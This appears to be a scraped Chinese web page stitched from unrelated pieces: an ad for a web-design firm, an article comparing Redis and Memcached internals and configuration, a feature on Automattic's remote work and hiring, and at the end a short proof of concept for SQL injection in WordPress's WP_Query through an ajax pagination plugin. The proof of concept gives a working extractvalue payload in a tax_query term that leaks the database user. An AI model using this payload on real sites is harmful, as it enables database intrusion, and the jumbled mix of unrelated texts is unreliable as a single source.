Redis与Memcached的区别
10年积累的网站建设、成都网站制作经验，可以快速应对客户对网站的新想法和需求。提供各种问题对应的解决方案。让选择我们的客户得到更好、更有力的网络服务。我虽然不认识你，你也不认识我。但先网站设计后付款的网站建设流程，更有镇沅免费网站建设让你可以放心的选择与我们合作。
传统MySQL+ Memcached架构遇到的问题
实际MySQL是适合进行海量数据存储的，通过Memcached将热点数据加载到cache，加速访问，很多公司都曾经使用过这样的架构，但随着业务数据量的不断增加，和访问量的持续增长，我们遇到了很多问题：
1.MySQL需要不断进行拆库拆表，Memcached也需不断跟着扩容，扩容和维护工作占据大量开发时间。
2.Memcached与MySQL数据库数据一致性问题。
3.Memcached数据命中率低或down机，大量访问直接穿透到DB，MySQL无法支撑。
4.跨机房cache同步问题。
众多NoSQL百花齐放，如何选择
最近几年，业界不断涌现出很多各种各样的NoSQL产品，那么如何才能正确地使用好这些产品，最大化地发挥其长处，是我们需要深入研究和思考的
问题，实际归根结底最重要的是了解这些产品的定位，并且了解到每款产品的tradeoffs，在实际应用中做到扬长避短，总体上这些NoSQL主要用于解
决以下几种问题
1.少量数据存储，高速读写访问。此类产品通过数据全部in-momery 的方式来保证高速访问，同时提供数据落地的功能，实际这正是Redis最主要的适用场景。
2.海量数据存储，分布式系统支持，数据一致性保证，方便的集群节点添加/删除。
3.这方面最具代表性的是dynamo和bigtable 2篇论文所阐述的思路。前者是一个完全无中心的设计，节点之间通过gossip方式传递集群信息，数据保证最终一致性，后者是一个中心化的方案设计，通过类似一个分布式锁服务来保证强一致性,数据写入先写内存和redo log，然后定期compat归并到磁盘上，将随机写优化为顺序写，提高写入性能。
4.Schema free，auto-sharding等。比如目前常见的一些文档数据库都是支持schema-free的，直接存储json格式数据，并且支持auto-sharding等功能，比如mongodb。
面对这些不同类型的NoSQL产品,我们需要根据我们的业务场景选择最合适的产品。
Redis适用场景，如何正确的使用
前面已经分析过，Redis最适合所有数据in-momory的场景，虽然Redis也提供持久化功能，但实际更多的是一个disk-
backed的功能，跟传统意义上的持久化有比较大的差别，那么可能大家就会有疑问，似乎Redis更像一个加强版的Memcached，那么何时使用
Memcached,何时使用Redis呢?
如果简单地比较Redis与Memcached的区别，大多数都会得到以下观点：
1 Redis不仅仅支持简单的k/v类型的数据，同时还提供list，set，zset，hash等数据结构的存储。
2 Redis支持数据的备份，即master-slave模式的数据备份。
3 Redis支持数据的持久化，可以将内存中的数据保持在磁盘中，重启的时候可以再次加载进行使用。
抛开这些，可以深入到Redis内部构造去观察更加本质的区别，理解Redis的设计。
在
Redis中，并不是所有的数据都一直存储在内存中的。这是和Memcached相比一个最大的区别。Redis只会缓存所有的
key的信息，如果Redis发现内存的使用量超过了某一个阀值，将触发swap的操作，Redis根据“swappability =
age*log(size_in_memory)”计
算出哪些key对应的value需要swap到磁盘。然后再将这些key对应的value持久化到磁盘中，同时在内存中清除。这种特性使得Redis可以
保持超过其机器本身内存大小的数据。当然，机器本身的内存必须要能够保持所有的key，毕竟这些数据是不会进行swap操作的。同时由于Redis将内存
中的数据swap到磁盘中的时候，提供服务的主线程和进行swap操作的子线程会共享这部分内存，所以如果更新需要swap的数据，Redis将阻塞这个
操作，直到子线程完成swap操作后才可以进行修改。
使用Redis特有内存模型前后的情况对比：
VM off: 300k keys, 4096 bytes values: 1.3G used
VM on: 300k keys, 4096 bytes values: 73M used
VM off: 1 million keys, 256 bytes values: 430.12M used
VM on: 1 million keys, 256 bytes values: 160.09M used
VM on: 1 million keys, values as large as you want, still: 160.09M used
当
从Redis中读取数据的时候，如果读取的key对应的value不在内存中，那么Redis就需要从swap文件中加载相应数据，然后再返回给请求方。
这里就存在一个I/O线程池的问题。在默认的情况下，Redis会出现阻塞，即完成所有的swap文件加载后才会相应。这种策略在客户端的数量较小，进行
批量操作的时候比较合适。但是如果将Redis应用在一个大型的网站应用程序中，这显然是无法满足大并发的情况的。所以Redis运行我们设置I/O线程
池的大小，对需要从swap文件中加载相应数据的读取请求进行并发操作，减少阻塞的时间。
如果希望在海量数据的环境中使用好Redis，我相信理解Redis的内存设计和阻塞的情况是不可缺少的。
补充的知识点：
memcached和redis的比较
1 网络IO模型
Memcached是多线程，非阻塞IO复用的网络模型，分为监听主线程和worker子线程，监听线程监听网络连接，接受请求后，将连接描述
字pipe 传递给worker线程，进行读写IO, 网络层使用libevent封装的事件库，多线程模型可以发挥多核作用，但是引入了cache
coherency和锁的问题，比如，Memcached最常用的stats
命令，实际Memcached所有操作都要对这个全局变量加锁，进行计数等工作，带来了性能损耗。
(Memcached网络IO模型)
Redis使用单线程的IO复用模型，自己封装了一个简单的AeEvent事件处理框架，主要实现了epoll、kqueue和select，
对于单纯只有IO操作来说，单线程可以将速度优势发挥到最大，但是Redis也提供了一些简单的计算功能，比如排序、聚合等，对于这些操作，单线程模型实
际会严重影响整体吞吐量，CPU计算过程中，整个IO调度都是被阻塞住的。
2.内存管理方面
Memcached使用预分配的内存池的方式，使用slab和大小不同的chunk来管理内存，Item根据大小选择合适的chunk存储，内
存池的方式可以省去申请/释放内存的开销，并且能减小内存碎片产生，但这种方式也会带来一定程度上的空间浪费，并且在内存仍然有很大空间时，新的数据也可
能会被剔除，原因可以参考Timyang的文章：
Redis使用现场申请内存的方式来存储数据，并且很少使用free-list等方式来优化内存分配，会在一定程度上存在内存碎片，Redis
跟据存储命令参数，会把带过期时间的数据单独存放在一起，并把它们称为临时数据，非临时数据是永远不会被剔除的，即便物理内存不够，导致swap也不会剔
除任何非临时数据(但会尝试剔除部分临时数据)，这点上Redis更适合作为存储而不是cache。
3.数据一致性问题
Memcached提供了cas命令，可以保证多个并发访问操作同一份数据的一致性问题。 Redis没有提供cas 命令，并不能保证这点，不过Redis提供了事务的功能，可以保证一串 命令的原子性，中间不会被任何操作打断。
4.存储方式及其它方面
Memcached基本只支持简单的key-value存储，不支持枚举，不支持持久化和复制等功能
Redis除key/value之外，还支持list,set,sorted set,hash等众多数据结构，提供了KEYS
进行枚举操作，但不能在线上使用，如果需要枚举线上数据，Redis提供了工具可以直接扫描其dump文件，枚举出所有数据，Redis还同时提供了持久化和复制等功能。
5.关于不同语言的客户端支持
在不同语言的客户端方面，Memcached和Redis都有丰富的第三方客户端可供选择，不过因为Memcached发展的时间更久一些，目
前看在客户端支持方面，Memcached的很多客户端更加成熟稳定，而Redis由于其协议本身就比Memcached复杂，加上作者不断增加新的功能
等，对应第三方客户端跟进速度可能会赶不上，有时可能需要自己在第三方客户端基础上做些修改才能更好的使用。
根据以上比较不难看出，当我们不希望数据被踢出，或者需要除key/value之外的更多数据类型时，或者需要落地功能时，使用Redis比使用Memcached更合适。
关于Redis的一些周边功能
Redis除了作为存储之外还提供了一些其它方面的功能，比如聚合计算、pubsub、scripting等，对于此类功能需要了解其实现原
理，清楚地了解到它的局限性后，才能正确的使用，比如pubsub功能，这个实际是没有任何持久化支持的，消费方连接闪断或重连之间过来的消息是会全部丢
失的，又比如聚合计算和scripting等功能受Redis单线程模型所限，是不可能达到很高的吞吐量的，需要谨慎使用。
总的来说Redis作者是一位非常勤奋的开发者，可以经常看到作者在尝试着各种不同的新鲜想法和思路，针对这些方面的功能就要求我们需要深入了解后再使用。
总结：
1.Redis使用最佳方式是全部数据in-memory。
2.Redis更多场景是作为Memcached的替代者来使用。
3.当需要除key/value之外的更多数据类型支持时，使用Redis更合适。
4.当存储的数据不能被剔除时，使用Redis更合适。
谈谈Memcached与Redis(一)
1. Memcached简介
Memcached是以LiveJurnal旗下Danga Interactive公司的Bard
Fitzpatric为首开发的高性能分布式内存缓存服务器。其本质上就是一个内存key-value数据库，但是不支持数据的持久化，服务器关闭之后数
据全部丢失。Memcached使用C语言开发，在大多数像Linux、BSD和Solaris等POSIX系统上，只要安装了libevent即可使
用。在Windows下，它也有一个可用的非官方版本()。Memcached
的客户端软件实现非常多，包括C/C++, PHP, Java, Python, Ruby, Perl, Erlang,
Lua等。当前Memcached使用广泛，除了LiveJournal以外还有Wikipedia、Flickr、Twitter、Youtube和
WordPress等。
在Window系统下，Memcached的安装非常方便，只需从以上给出的地址下载可执行软件然后运行memcached.exe –d
install即可完成安装。在Linux等系统下，我们首先需要安装libevent，然后从获取源码，make make
install即可。默认情况下，Memcached的服务器启动程序会安装到/usr/local/bin目录下。在启动Memcached时，我们可
以为其配置不同的启动参数。
1.1 Memcache配置
Memcached服务器在启动时需要对关键的参数进行配置，下面我们就看一看Memcached在启动时需要设定哪些关键参数以及这些参数的作用。
1）-p num Memcached的TCP监听端口，缺省配置为11211；
2）-U num Memcached的UDP监听端口，缺省配置为11211，为0时表示关闭UDP监听；
3）-s file Memcached监听的UNIX套接字路径；
4）-a mask 访问UNIX套接字的八进制掩码，缺省配置为0700；
5）-l addr 监听的服务器IP地址，默认为所有网卡；
6）-d 为Memcached服务器启动守护进程；
7）-r 最大core文件大小；
8）-u username 运行Memcached的用户，如果当前为root的话需要使用此参数指定用户；
9）-m num 分配给Memcached使用的内存数量，单位是MB；
10）-M 指示Memcached在内存用光的时候返回错误而不是使用LRU算法移除数据记录；
11）-c num 最大并发连数，缺省配置为1024；
12）-v –vv –vvv 设定服务器端打印的消息的详细程度，其中-v仅打印错误和警告信息，-vv在-v的基础上还会打印客户端的命令和相应，-vvv在-vv的基础上还会打印内存状态转换信息；
13）-f factor 用于设置chunk大小的递增因子；
14）-n bytes 最小的chunk大小，缺省配置为48个字节；
15）-t num Memcached服务器使用的线程数，缺省配置为4个；
16）-L 尝试使用大内存页；
17）-R 每个事件的最大请求数，缺省配置为20个；
18）-C 禁用CAS，CAS模式会带来8个字节的冗余；
2. Redis简介
Redis是一个开源的key-value存储系统。与Memcached类似，Redis将大部分数据存储在内存中，支持的数据类型包括：字
符串、哈希表、链表、集合、有序集合以及基于这些数据类型的相关操作。Redis使用C语言开发，在大多数像Linux、BSD和Solaris等
POSIX系统上无需任何外部依赖就可以使用。Redis支持的客户端语言也非常丰富，常用的计算机语言如C、C#、C++、Object-C、PHP、
Python、Java、Perl、Lua、Erlang等均有可用的客户端来访问Redis服务器。当前Redis的应用已经非常广泛，国内像新浪、淘
宝，国外像Flickr、Github等均在使用Redis的缓存服务。
Redis的安装非常方便，只需从获取源码，然后make make
install即可。默认情况下，Redis的服务器启动程序和客户端程序会安装到/usr/local/bin目录下。在启动Redis服务器时，我们
需要为其指定一个配置文件，缺省情况下配置文件在Redis的源码目录下，文件名为redis.conf。
虎嗅注：题目还是难落俗套的用了“独角兽”这个词。内容管理平台WordPress的市场份额超过了25%，全球已有1/4的互联网网站基于 WordPress平台。有趣的是，这家公司不组织会议，不使用电子邮件，大部分员工在家工作，那么他们是如何凝聚员工的呢？这篇文章给出答案。
旗下拥有全球最受欢迎博客平台的Automattic，是一家十分风光的“独角兽”公司。其实这家公司最独特之处还在于其特立独行的企业文化。
它的员工、前微软高管斯科特·柏坤（Scott Berkun）甚至为此专门写了一本书《 *** 西裤的一年：WordPress.及工作的未来》（The Year Without Pants: WordPress. and the Future of Work）。光看书名你也许就可以猜出，Automattic是家没有严苛办公室规矩的远程办公公司，但它的企业文化独特性并不仅仅只是远程办公那么简单。
先来认识一下这家公司和它的创始人吧。2003年，时年19岁的马特·穆伦沃格（Matt Mullenweg）从美国休斯顿大学退学，与麦克·利特（Mike Little）一道开发了WordPress。两年后，穆伦沃格与合伙人正式成立WordPress的母公司Automattic并出任CEO。在5轮融资中，Automattic募得3.173亿美元，在2014年5月达到11.6亿美元的估值。截至2015年1月，全球1000万家顶级网站中超过23.3%使用WordPress的产品，WordPress也是全球最受欢迎的博客管理系统，有超过6000万家网站是基于WordPress构建的。
彻底实现远程办公，但为员工提供最佳工作条件
虽然Automattic在旧金山拥有设计精美的办公室，但大多数员工远程办公。
Automattic位于旧金山的办公室。图片来源：网络
“在Automattic我们关注你创造了什么，而不是你是否符合好员工的理想标准。”穆伦沃格曾在《哈佛商业评论》中撰文道：“我们做的是一款开源的软件，这是一件去中心化的产品，所以把我们的员工从朝九晚五的传统办公模式中解放出来就顺利成章了。”
Automattic内部交流都在网上进行。公司不组织会议，甚至不使用电子邮件，而是通过聊天室、Skype、Google Hangouts或Automattic自主开发的博客工具P2交流。
“在 Automattic，我们从第一天开始就知道我们不需要在同一个地方工作，因为当时的4名初始员工在世界各地的不同城市。”穆伦沃格在接受 Business Insider的采访时说，“差不多在2009年，公司成立4年的时候，我们发现我们使用电子邮件的频率高于使用我们自己的博客的频率，因此我们决定改变博客的概念，将其变成一个能够在不离开主页的情况下留言对话的工具，这就是后来的P2。”
因为没有固定办公室，也没有专门的IT人员处理设备故障，Automattic为所有员工提供最新款的苹果设备，确保所有人都有最好的工作工具。
与此同时，所有新入职的员工都能得到一笔2000美元的经费来提升自己的办公环境。他们可以用这笔钱来购买办公桌、办公椅或任何他们想要的办公产品。
CEO本人亲自筛简历，面试全程以文字沟通
因为实行远程办公，Automattic可以不受地域限制，在全球范围内招揽人才。Automattic如今拥有315名员工，遍布全球各地。但你能想象，组建起如此国际化的团队，Automattic并不会安排面试时间、不会派面试官满世界飞，甚至连电话都不打一个吗？
穆伦沃格解释了Automattic从传统的招聘面试过度到全新招聘策略的原因：“我们逐渐意识到，我们被种种面试表现影响——比如某人讲话的方式或在餐厅的表现——但这并不能说明面试者在真正的工作中表现如何。有些人极其擅长面试，在与人交谈的过程中非常有个人魅力。但如果他们的工作和展现个人魅力无关，他们的面试表现就不能很好地预测他们作为员工的表现。”
Automattic设计与业务发展组总监戴夫·马丁（Dave Martin）近日在他的个人博客上撰文，揭秘了Automattic的招聘流程。
值得注意的是，穆伦沃格本人从招聘流程一开始就亲身参与其中——他亲自浏览筛选收到的每一张简历，这占用了他20%到30%的工作时间。
“招聘是否成功很大程度上取决于CEO本人是否将其视作公司首要任务。”马丁说。CEO亲自筛选简历有3个好处：一是CEO可以确认每个应聘者都是真正适合公司的人；二是CEO本人是全公司最了解公司哪个领域需要扩充资源的人，所以亲自参与招聘能提升招聘效率；三是这能让招聘经理更有信心第面对求职者，因为他知道他面对的求职者已经得到了CEO的初步认可。
简历初审结束后，各个部门的招聘经理将再次审核简历，挑选出更合适的人选。马丁表示，无论是否会给求职者面试机会，Automattic都会联系他们，甚至鼓励落选的求职者保持联系，再次申请。“实际上我们有不少员工是在第二次或第三次申请时被聘用的。”
然后进入“面试”环节——打引号是因为面试没有会面，没有语音交流，100%通过Skype进行文字交流，也不要求面试者实时回答。马丁认为这对面试官和面试者都有好处，因为双方都不用担心时差或其他的工作安排。
这种“盲选”机制的另外一个好处是，面试官能够最大程度地避免对面试者的偏见（想想《好声音》中为什么评委们要在选手唱歌时背过身去吧。）
求职者还没入职就要为Automattic打工做项目了
如果到面试环节为止招聘经理对求职者仍然满意，招聘流程就会进入Automattic最特别的招聘环节：求职者将以合同工（每小时25美元的报酬）的形式为 Automattic完成一项任务。任务都是Automattic真实的、需要完成的项目，求职者能自由支配时间完成，没有期限限制。
在试用环节中，招聘经理会通过一个WordPress博客与求职者交流。每个求职者被分配到的任务都和他的求职方向有关：如果你申请客户服务的职位，你将直接与客户对话；如果你是一位工程师，你将被要求编写代码；如果你是一位设计师，你将做一个设计项目。
“我们尤其关注求职者是否能自我激励、是否擅长书面交流（因为我们大多进行远程办公，我们非常仰赖即时通信）、如何面对错误。”穆伦沃格说，“我们不期待完美，而是更关注他们多快能发现差错，如何与同事交流，并从中学到了什么。”
在穆伦沃格看来，Automattic与其他矽谷创业公司不同的地方在于公司希望与员工建立几十年的长期关系，而不是将员工视作随时准备跳槽的“临时工”。“如果你要开发出能够改变世界的产品，你需要很长的时间，因此长期留住员工就是件非常有价值的事。”
招聘流程中的试用环节因此变得非常重要：这能够帮助Automattic快速有效地判断公司与求职者之间的关系是否对双方都有益处；对求职者来说，试用环节能够让他亲身体验Automattic的远程办公模式，了解自己是否真的适合这份工作，避免入职后才发现工作与自己的想象不符的情况。
马丁统计的数据显示，Automattic的招聘方式的确有助于降低离职率。在他做招聘工作的一年半时间里，他浏览了251份简历，其中63人进入面试环节（约25%的申请者），41人进入试用环节（约65%的面试者），15人获得终面机会（37%进入试用环节的人），14人被聘用（93%进入终面环节的人），至今为止由他招聘进入Automattic的员工无一人离职。
旅行经费超充裕，开会地点遍布全球
如果你热爱旅行，来 Automattic工作一定会极大地满足你——Automattic在办公室上节省下来的钱成为了公司充裕的旅行经费。所有团队都可以自由选择全球任何一个地方作为“黑客周”会面地点。5个最受员工欢迎的会面地为葡萄牙里斯本市、夏威夷考艾岛、加州旧金山市、荷兰阿姆斯特丹市、佐治亚州泰碧岛。
在柏坤的书中，他是这样形容他在雅典第一次与团队成员见面的情形的：
“谁会坐飞机去雅典见自己的同事啊？……我从未搞明白过我们为什么要去雅典，但它的效果立竿见影清清楚楚：我们全都充满活力、灵感倍出，并希望在一个超棒的地方努力工作。”
除此之外，Automattic每年还会组织“大聚会”（Grand Meetup），挑选的地点包括加拿大魁北克省、墨西哥拉巴斯市、旧金山市和加州圣克鲁兹市。“我们真的会把公司每一个员工都聚到一起。”穆伦沃格表示。
Automattic的企业文化得到了员工的认可。在职场信息网站Glassdoor上，Automattic得到了4.5分的高分（满分5分）。其中一位员工盛赞 Automattic的工作氛围与员工福利，值得称道的亮点包括优秀的团队、远程办公带来的工作/生活平衡、有竞争力的薪酬、对美国员工来说超好的福利、开放式的休假政策和无以伦比的旅行机会。
喜欢这篇文章的话，请将这篇文章分享出去，让更多人看见吧！
,
POC：
POST
ecs_ajax_settings {"post_id":1,"current_page":2,"widget_id":"65054a0","max_num_pages":5}
action ecsload
query {"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}
这个问题来源于temrs没过滤 再加上 一个相等条件绕过；
相等条件类似于,下面过滤条件没有执行。导致term携带了一些脏数据
if(a==b){
return;
}
sanialize(term);
1下图所示，我们的插件里action钩子勾住的是这个方法，这个方法利用了WP_QUERY存在漏洞的类，注意的是action 一定要有对应的值，所以这个漏洞限制在。运用了WP_QUERY的插件里。所以我们拿了ajax_pagnition这个插件，定义了action为ecsload
2 下图所示 我们进入方法，此方法构造了sql
3 clean query方法 进去看看，2的里面调用了这个，箭头指定的地方已经打过补丁，强制term为int所以就无法利用了，补丁前不是这样，而是对term没有做任何操作
4进入transform_query，在看一下里面。下面试sanitize其实可以绕过，从而不过滤term这样，条件都成立，term逃出，sql成立
